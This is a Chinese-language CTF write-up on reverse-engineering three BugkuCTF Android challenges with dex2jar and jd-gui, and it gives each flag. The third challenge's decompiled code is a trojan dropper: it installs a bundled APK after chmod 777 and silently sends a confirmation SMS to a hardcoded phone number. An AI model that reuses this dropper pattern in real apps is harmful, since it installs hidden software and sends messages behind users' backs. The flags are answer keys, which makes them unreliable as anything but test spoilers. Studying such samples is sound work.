BugkuCTF~Mobile~WriteUp

最近,开始记录一篇关于 Android 逆向分析的 WriteUp 方便有需要的人学习,也欢迎大家相互交流, 发现不

一样的世界。

一、 signin

考点:反编译、静态分析

Topic Link:https://ctf.bugku.com/files/109fa055c682e810684427c123a0833b/sign_in.zip

BugkuCTF~Mobile~WriteUp

signin 软件介绍:

1. 开始界面

BugkuCTF~Mobile~WriteUp

2. 当输入的字符串有误时,会显示:Try again.

BugkuCTF~Mobile~WriteUp

题目分析:

1. 刚开始直接使用了 Android killer工具进行反编译,但是不能够查看Java源码 (有点不够意思,有时候Android killer自动化工具并不好用),但是这并不能阻挡我们查看想要的Java源码 (dex2jar-2.0工具的利用)

BugkuCTF~Mobile~WriteUp

2. 先将该APK解压,提取class.dex到dex2jar-2.0的目录下,操作class.dex文件得到对应的.jar文件

BugkuCTF~Mobile~WriteUp

3. 利用jd-gui-1.4.0.jar工具打开步骤2中的.jar文件

BugkuCTF~Mobile~WriteUp

4. 提取我们想要的Java源代码

package re.sdnisc2018.sdnisc_apk1;

import android.content.Context;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.util.Base64;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;

public class MainActivity
  extends AppCompatActivity
{
  private String getFlag()
  {
    return getBaseContext().getString(2131427360);
  }
  
  private void showMsgToast(String paramString)
  {
    Toast.makeText(this, paramString, 1).show();
  }
  
  public void checkPassword(String paramString)
  {
    if (paramString.equals(new String(Base64.decode(new StringBuffer(getFlag()).reverse().toString(), 0))))
    {
      showMsgToast("Congratulations !");
      return;
    }
    showMsgToast("Try again.");
  }
  
  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2131296283);
    ((Button)findViewById(2131165261)).setOnClickListener(new View.OnClickListener()
    {
      public void onClick(View paramAnonymousView)
      {
        paramAnonymousView = ((EditText)MainActivity.this.findViewById(2131165253)).getText().toString();
        MainActivity.this.checkPassword(paramAnonymousView);
      }
    });
  }
}

分析代码可知:

1. 在 checkPassword()函数中,判断用户的输入是否正确,与用户相匹配的字符串是经过getFlag()函数返回的值处理之后的。

2. 将目标定位到getFlag()函数中,获取其返回值。

分析getFlag()函数代码片段:

return getBaseContext().getString(2131427360);

函数的返回值和 “2131427360” 有关,该字符串为资源ID,一般存储在R.java文件中,ID对应的资源一般存储在strings.xml文件中。

4. 在R.java文件中,查找资源ID

BugkuCTF~Mobile~WriteUp

根据资源ID对应的变量名“toString”在strings.xml文件中找到对应的值

BugkuCTF~Mobile~WriteUp

5. 将字符串“991YiZWOz81ZhFjZfJXdwk3X1k2XzIXZIt3ZhxmZ”进行反转(reverse()函数影响),然后进行base64解密

BugkuCTF~Mobile~WriteUp

6. 测试输入正确字符串

BugkuCTF~Mobile~WriteUp

get flag:

flag{Her3_i5_y0ur_f1ag_39fbc_}

 

二、mobile1(gctf)

考点:反编译、静态分析

Topic Link:https://ctf.bugku.com/files/7c43d693909d6dbfd7ad7d5a0866548b/gctf_mobile1.apk

BugkuCTF~Mobile~WriteUp

mobile1(gctf) 软件介绍:

1. 开始界面

BugkuCTF~Mobile~WriteUp

2. 当输入的字符串有误时,会显示:错误!

BugkuCTF~Mobile~WriteUp

题目分析:

1. 先将该APK解压,提取class.dex到dex2jar-2.0的目录下,操作class.dex文件得到对应的.jar文件

BugkuCTF~Mobile~WriteUp

2. 利用jd-gui-1.4.0.jar工具打开步骤1中的.jar文件

BugkuCTF~Mobile~WriteUp

3. 提取主要的Java源代码

package com.example.crackme;

import android.app.Activity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public class MainActivity
  extends Activity
{
  private Button btn_register;
  private EditText edit_sn;
  String edit_userName;
  
  private boolean checkSN(String paramString1, String paramString2)
  {
    if (paramString1 != null) {
      try
      {
        if (paramString1.length() == 0) {
          return false;
        }
        if ((paramString2 != null) && (paramString2.length() == 22))
        {
          Object localObject = MessageDigest.getInstance("MD5");
          ((MessageDigest)localObject).reset();
          ((MessageDigest)localObject).update(paramString1.getBytes());
          paramString1 = toHexString(((MessageDigest)localObject).digest(), "");
          localObject = new StringBuilder();
          int i = 0;
          while (i < paramString1.length())
          {
            ((StringBuilder)localObject).append(paramString1.charAt(i));
            i += 2;
          }
          paramString1 = ((StringBuilder)localObject).toString();
          boolean bool = ("flag{" + paramString1 + "}").equalsIgnoreCase(paramString2);
          if (bool) {
            return true;
          }
        }
      }
      catch (NoSuchAlgorithmException paramString1)
      {
        paramString1.printStackTrace();
      }
    }
    return false;
  }
  
  private static String toHexString(byte[] paramArrayOfByte, String paramString)
  {
    StringBuilder localStringBuilder = new StringBuilder();
    int j = paramArrayOfByte.length;
    int i = 0;
    while (i < j)
    {
      String str = Integer.toHexString(paramArrayOfByte[i] & 0xFF);
      if (str.length() == 1) {
        localStringBuilder.append('0');
      }
      localStringBuilder.append(str).append(paramString);
      i += 1;
    }
    return localStringBuilder.toString();
  }
  
  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130968601);
    setTitle(2131099677);
    this.edit_userName = "Tenshine";
    this.edit_sn = ((EditText)findViewById(2131492945));
    this.btn_register = ((Button)findViewById(2131492946));
    this.btn_register.setOnClickListener(new View.OnClickListener()
    {
      public void onClick(View paramAnonymousView)
      {
        if (!MainActivity.this.checkSN(MainActivity.this.edit_userName.trim(), MainActivity.this.edit_sn.getText().toString().trim()))
        {
          Toast.makeText(MainActivity.this, 2131099678, 0).show();
          return;
        }
        Toast.makeText(MainActivity.this, 2131099675, 0).show();
        MainActivity.this.btn_register.setEnabled(false);
        MainActivity.this.setTitle(2131099673);
      }
    });
  }
  
  public boolean onCreateOptionsMenu(Menu paramMenu)
  {
    getMenuInflater().inflate(2131558400, paramMenu);
    return true;
  }
}

分析代码可知:

1. 将主要目光定在checkSN()函数上,分析该函数发现,需要满足几个条件:

  1. 第一个参数paramString1 !=null&字符串长度 !=0

  2. 第二个参数paramString2 !=null&字符串长度 ==22

  3. 将第一个参数paramString1 经过MD5加密之后,取其偶数位组成字符串(16位)

  4. 第三步里面产生的字符串与 “flag{}”组合(16+6=22)要与参数paramString2相等

2. 有上一步的分析可知,需要查看参数paramString1和参数paramString2的赋值情况,搜索谁调用了checkSN()函数,搜索之后将目标定在onCreate()函数上

public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130968601);
    setTitle(2131099677);
    this.edit_userName = "Tenshine";
    this.edit_sn = ((EditText)findViewById(2131492945));
    this.btn_register = ((Button)findViewById(2131492946));
    this.btn_register.setOnClickListener(new View.OnClickListener()
    {
      public void onClick(View paramAnonymousView)
      {
        if (!MainActivity.this.checkSN(MainActivity.this.edit_userName.trim(), MainActivity.this.edit_sn.getText().toString().trim()))
        {
          Toast.makeText(MainActivity.this, 2131099678, 0).show();
          return;
        }
        Toast.makeText(MainActivity.this, 2131099675, 0).show();
        MainActivity.this.btn_register.setEnabled(false);
        MainActivity.this.setTitle(2131099673);
      }
    });
  }

分析该函数可知:

  1. paramString1="Tenshine"

  2. paramString2="用户输入的字符串"

3. 既然知道了参数paramString1的值,直接将paramString1进行MD5加密,取其偶数位,与"flag{}"进行组合得到最终FLAG

md5(Tenshine,32) = b9c77224ff234f27ac6badf83b855c76

FLAG:flag{bc72f242a6af3857}

4. 测试输入正确字符串

BugkuCTF~Mobile~WriteUp

get flag:

flag{bc72f242a6af3857}

 

三、mobile2(gctf)

考点:反编译、静态分析、脑洞

Topic Link:https://ctf.bugku.com/files/d1a2520c55a335d83646ce8a724dbebb/eb1fd250-7c32-418c-b287-1b00dcc53852.zip

BugkuCTF~Mobile~WriteUp

题目分析

1. 下载下来的是zip格式的文件,不过和APK一样,于是将其后缀改为.apk,可是却不能成功安装,只有先反编译查看源码 *_*

2. 先将该压缩包解压,提取class.dex到dex2jar-2.0的目录下,操作class.dex文件得到对应的.jar文件

BugkuCTF~Mobile~WriteUp

3. 利用jd-gui-1.4.0.jar工具打开步骤1中的.jar文件

BugkuCTF~Mobile~WriteUp

4. 提取主要的Java源代码

package com.example.mmsheniq;

import android.annotation.SuppressLint;
import android.app.AlertDialog.Builder;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.res.AssetManager;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Bundle;
import android.support.v7.app.ActionBarActivity;
import android.telephony.SmsManager;
import android.text.Editable;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import java.util.ArrayList;
import java.util.List;

@SuppressLint({"DefaultLocale"})
public class MainActivity
  extends ActionBarActivity
{
  Button button1;
  Button button2;
  ArrayList<String> packagNameList;
  EditText pass;
  private MyReceiver receiver;
  
  private boolean detectApk(String paramString)
  {
    return this.packagNameList.contains(paramString.toLowerCase());
  }
  
  private boolean goToNetWork()
  {
    ConnectivityManager localConnectivityManager = (ConnectivityManager)getSystemService("connectivity");
    if (localConnectivityManager.getNetworkInfo(1).getState() != null) {}
    while (localConnectivityManager.getNetworkInfo(0).getState() != null) {
      return true;
    }
    return false;
  }
  
  private void initpackagNameList()
  {
    this.packagNameList = new ArrayList();
    List localList = getPackageManager().getInstalledPackages(0);
    int i = 0;
    for (;;)
    {
      if (i >= localList.size()) {
        return;
      }
      PackageInfo localPackageInfo = (PackageInfo)localList.get(i);
      this.packagNameList.add(localPackageInfo.packageName.toLowerCase());
      i += 1;
    }
  }
  
  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    requestWindowFeature(1);
    setContentView(2130903064);
    initpackagNameList();
    System.out.println("host��������==============================");
    this.receiver = new MyReceiver(null);
    paramBundle = new IntentFilter("android.intent.action.PACKAGE_ADDED");
    paramBundle.addDataScheme("package");
    registerReceiver(this.receiver, paramBundle);
    if (!detectApk("com.example.com.android.trogoogle"))
    {
      System.out.println("host��������==============================");
      paramBundle = getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
      retrieveApkFromAssets(this, "com.android.Trogoogle.apk", paramBundle);
      showInstallConfirmDialog(this, paramBundle);
    }
    this.pass = ((EditText)findViewById(2131034176));
    this.button1 = ((Button)findViewById(2131034177));
    this.button1.setOnClickListener(new View.OnClickListener()
    {
      public void onClick(View paramAnonymousView)
      {
        if (!MainActivity.this.detectApk("com.example.com.android.trogoogle"))
        {
          paramAnonymousView = MainActivity.this.getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
          MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", paramAnonymousView);
          MainActivity.this.showInstallConfirmDialog(MainActivity.this, paramAnonymousView);
          return;
        }
        if (!MainActivity.this.goToNetWork())
        {
          Toast.makeText(MainActivity.this, "��������������������������", 0).show();
          return;
        }
        if (MainActivity.this.pass.getText().toString().length() >= 6)
        {
          Toast.makeText(MainActivity.this, "����������������...", 0).show();
          Toast.makeText(MainActivity.this, "����������������������", 0).show();
          return;
        }
        Toast.makeText(MainActivity.this, "����������������������", 0).show();
      }
    });
    this.button2 = ((Button)findViewById(2131034178));
    this.button2.setOnClickListener(new View.OnClickListener()
    {
      public void onClick(View paramAnonymousView)
      {
        MainActivity.this.startActivity(new Intent(MainActivity.this, RegisterActivity.class));
      }
    });
  }
  
  public boolean retrieveApkFromAssets(Context paramContext, String paramString1, String paramString2)
  {
    bool = false;
    try
    {
      paramString2 = new File(paramString2);
      if (paramString2.exists()) {
        return true;
      }
      paramString2.createNewFile();
      paramString1 = paramContext.getAssets().open(paramString1);
      paramString2 = new FileOutputStream(paramString2);
      byte[] arrayOfByte = new byte['?'];
      for (;;)
      {
        int i = paramString1.read(arrayOfByte);
        if (i == -1)
        {
          paramString2.flush();
          paramString2.close();
          paramString1.close();
          bool = true;
          break;
        }
        paramString2.write(arrayOfByte, 0, i);
      }
      return bool;
    }
    catch (IOException paramString1)
    {
      Toast.makeText(paramContext, paramString1.getMessage(), 2000).show();
      paramContext = new AlertDialog.Builder(paramContext);
      paramContext.setMessage(paramString1.getMessage());
      paramContext.show();
      paramString1.printStackTrace();
    }
  }
  
  public void showInstallConfirmDialog(final Context paramContext, final String paramString)
  {
    AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);
    localBuilder.setIcon(2130837592);
    localBuilder.setTitle("������������");
    localBuilder.setMessage("������������������������������APK��������������������");
    localBuilder.setPositiveButton("����", new DialogInterface.OnClickListener()
    {
      public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
      {
        try
        {
          paramAnonymousDialogInterface = "chmod 777 " + paramString;
          Runtime.getRuntime().exec(paramAnonymousDialogInterface);
          paramAnonymousDialogInterface = new Intent("android.intent.action.VIEW");
          paramAnonymousDialogInterface.addFlags(268435456);
          paramAnonymousDialogInterface.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive");
          paramContext.startActivity(paramAnonymousDialogInterface);
          return;
        }
        catch (IOException paramAnonymousDialogInterface)
        {
          for (;;)
          {
            paramAnonymousDialogInterface.printStackTrace();
          }
        }
      }
    });
    localBuilder.show();
  }
  
  private class MyReceiver
    extends BroadcastReceiver
  {
    private MyReceiver() {}
    
    public void onReceive(Context paramContext, Intent paramIntent)
    {
      System.out.println("MyReceiver ��������==========================");
      if (paramIntent.getAction().equals("android.intent.action.PACKAGE_ADDED"))
      {
        paramContext.startActivity(new Intent(paramContext, MainActivity.class));
        System.out.println("  ������ Ok!==============================");
        paramIntent = new Intent("android.intent.action.MAIN");
        paramIntent.addFlags(268435456);
        paramIntent.addCategory("android.intent.category.LAUNCHER");
        paramIntent.setComponent(new ComponentName("com.example.com.android.trogoogle", "com.example.com.android.trogoogle.MainActivity"));
        paramContext.startActivity(paramIntent);
        System.out.println("  ���� Ok!==============================");
        SmsManager.getDefault().sendTextMessage("15918661173", null, " Tro instanll Ok", null, null);
        System.out.println("  �������� Ok!==============================");
      }
    }
  }
}

5. 分析代码并没有找到什么关于flag的线索,同时软件也不能运行,发现毫无提示,于是猜测flag可能藏在某个文件中,其中可疑的文件主要有strings.xml、AndroidManifest.xml,用工具010 Editor打开进行搜索,发现flag存在于AndroidManifest.xml中

BugkuCTF~Mobile~WriteUp

get flag:

flag{8d6efd232c63b7d2}

 

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